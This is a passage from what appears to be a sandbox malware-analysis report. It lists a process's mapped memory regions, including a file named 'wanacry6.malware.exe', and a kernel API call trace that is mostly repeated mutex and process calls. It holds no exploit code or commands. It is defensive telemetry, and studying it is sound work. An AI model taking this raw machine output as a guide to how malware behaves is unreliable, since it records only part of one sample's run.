"\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 9739 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 9740 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 9741 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 9742 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 9743 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 9744 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 9745 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 9746 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 9747 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 9748 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 9749 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 9750 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 9751 start_va = 0x2fb7f50000 end_va = 0x2fb80dffff entry_point = 0x0 region_type = private name = "private_0x0000002fb7f50000" filename = "" Region: id = 9752 start_va = 0x2fb7ab0000 end_va = 0x2fb7ab6fff entry_point = 0x0 region_type = private name = "private_0x0000002fb7ab0000" filename = "" Region: id = 9753 start_va = 0x2fb7ad0000 end_va = 0x2fb7ecffff entry_point = 0x0 region_type = private name = "private_0x0000002fb7ad0000" filename = "" Region: id = 9754 start_va = 0x2fb7f50000 end_va = 0x2fb7f83fff entry_point = 0x2fb7f51030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9755 start_va = 0x2fb80d0000 end_va = 0x2fb80dffff entry_point = 0x0 region_type = private name = "private_0x0000002fb80d0000" filename = "" Region: id = 9756 start_va = 0x2fb80e0000 end_va = 0x2fb8267fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb80e0000" filename = "" Region: id = 9757 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 9758 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 9759 start_va = 0x2fb8270000 end_va = 0x2fb83f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb8270000" filename = "" Region: id = 9760 start_va = 0x2fb8400000 end_va = 0x2fb97fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb8400000" filename = "" Region: id = 9762 start_va = 0x2fb7ac0000 end_va = 0x2fb7ac0fff entry_point = 0x0 region_type = private name = "private_0x0000002fb7ac0000" filename = "" Region: id = 9763 start_va = 0x2fb7f50000 end_va = 0x2fb7f50fff entry_point = 0x0 region_type = private name = "private_0x0000002fb7f50000" filename = "" Region: id = 9764 start_va = 0x2fb7f60000 end_va = 0x2fb7f60fff entry_point = 0x2fb7f60000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 9765 start_va = 0x2fb7f70000 end_va = 0x2fb7f71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb7f70000" filename = "" Region: id = 9766 start_va = 0x2fb9800000 end_va = 0x2fb998ffff entry_point = 0x0 region_type = private name = "private_0x0000002fb9800000" filename = "" Region: id = 9767 start_va = 0x2fb7f80000 end_va = 0x2fb8039fff entry_point = 0x2fb7fac768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9768 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 9769 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 9770 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 9771 start_va = 0x2fb7f60000 end_va = 0x2fb7f60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb7f60000" filename = "" Region: id = 9772 start_va = 0x2fb7f80000 end_va = 0x2fb806ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb7f80000" filename = "" Region: id = 9773 start_va = 0x2fb7f60000 end_va = 0x2fb7f63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb7f60000" filename = "" Region: id = 9774 start_va = 0x2fb8070000 end_va = 0x2fb8076fff entry_point = 0x0 region_type = private name = "private_0x0000002fb8070000" filename = "" Region: id = 9775 start_va = 0x2fb9800000 end_va = 0x2fb98fffff entry_point = 0x0 region_type = private name = "private_0x0000002fb9800000" filename = "" Region: id = 9776 start_va = 0x2fb9980000 end_va = 0x2fb998ffff entry_point = 0x0 region_type = private name = "private_0x0000002fb9980000" filename = "" Region: id = 9777 start_va = 0x2fb9990000 end_va = 0x2fb9a90fff entry_point = 0x2fb99bfa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 9778 start_va = 0x2fb8080000 end_va = 0x2fb8080fff entry_point = 0x0 region_type = private name = "private_0x0000002fb8080000" filename = "" Region: id = 9779 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 9780 start_va = 0x2fb9990000 end_va = 0x2fb9c64fff entry_point = 0x2fb9990000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9781 start_va = 0x2fb8090000 end_va = 0x2fb8092fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb8090000" filename = "" Region: id = 9782 start_va = 0x2fb8090000 end_va = 0x2fb8090fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb8090000" filename = "" Region: id = 9783 start_va = 0x2fb80a0000 end_va = 0x2fb80a0fff entry_point = 0x0 region_type = private name = "private_0x0000002fb80a0000" filename = "" Region: id = 9784 start_va = 0x2fb9c70000 end_va = 0x2fba161fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb9c70000" filename = "" Region: id = 9785 start_va = 0x2fba170000 end_va = 0x2fbafdffff entry_point = 0x2fba170000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 9786 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9787 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9788 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9789 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9790 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9791 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9792 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9793 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9794 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9795 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9796 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9797 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9798 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9799 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9800 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9801 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9802 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9803 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9804 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9805 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9806 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 9807 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 9808 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 9809 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 9810 start_va = 0x2fb80b0000 end_va = 0x2fb80b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb80b0000" filename = "" Region: id = 9811 start_va = 0x2fbafe0000 end_va = 0x2fbb1f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fbafe0000" filename = "" Region: id = 9829 start_va = 0x2fb80b0000 end_va = 0x2fb80b2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb80b0000" filename = "" Region: id = 9830 start_va = 0x2fb80c0000 end_va = 0x2fb80c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb80c0000" filename = "" Region: id = 9831 start_va = 0x2fb9900000 end_va = 0x2fb9943fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fb9900000" filename = "" Region: id = 9832 start_va = 0x2fbb200000 end_va = 0x2fbe095fff entry_point = 0x2fbb200000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 9833 start_va = 0x2fbe0a0000 end_va = 0x2fbe499fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000002fbe0a0000" filename = "" Region: id = 9834 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9835 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9836 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 9837 start_va = 0x2fbe4a0000 end_va = 0x2fbe5a9fff entry_point = 0x0 region_type = private name = "private_0x0000002fbe4a0000" filename = "" Thread: id = 867 os_tid = 0xa8c [0142.869] EngAllocMem () returned 0xfffff9014251f030 [0142.869] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.869] MmMapViewOfSection (in: SectionObject=0xffffc0000153ae20, Process=0xffffe000015af200, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00021b26ed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014251f358*=0x2fbafe0000, SectionOffset=0xffffd00021b26ed0, ViewSize=0xfffff9014251f370) returned 0x0 [0142.869] EngCreateBitmap () returned 0xfffffffff80506e7 [0142.869] EngAssociateSurface () returned 0x1 [0142.869] EngLockSurface () returned 0xfffff901409eecb8 [0142.869] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe000012e1b30 [0142.869] KeInitializeEvent (in: Event=0xffffe000012e1b48, Type=0x1, State=0 | out: Event=0xffffe000012e1b48) [0142.869] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.876] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.876] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0142.893] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.894] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.901] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.901] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.901] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.901] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.902] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.902] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.902] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.902] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.902] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.902] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.902] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.902] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.902] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.903] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.903] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.903] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.903] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.903] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.903] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.903] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.903] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.903] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.904] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.904] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.904] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.904] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.904] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.905] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.905] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.905] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.905] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.905] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.905] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.906] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.906] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.906] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.906] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.906] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.907] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.907] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.908] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.908] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.908] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.908] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.908] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.908] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.918] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.918] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.919] IoGetCurrentProcess () returned 0xffffe000015af200 [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012e1b30) [0142.919] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0142.919] IoGetCurrentProcess 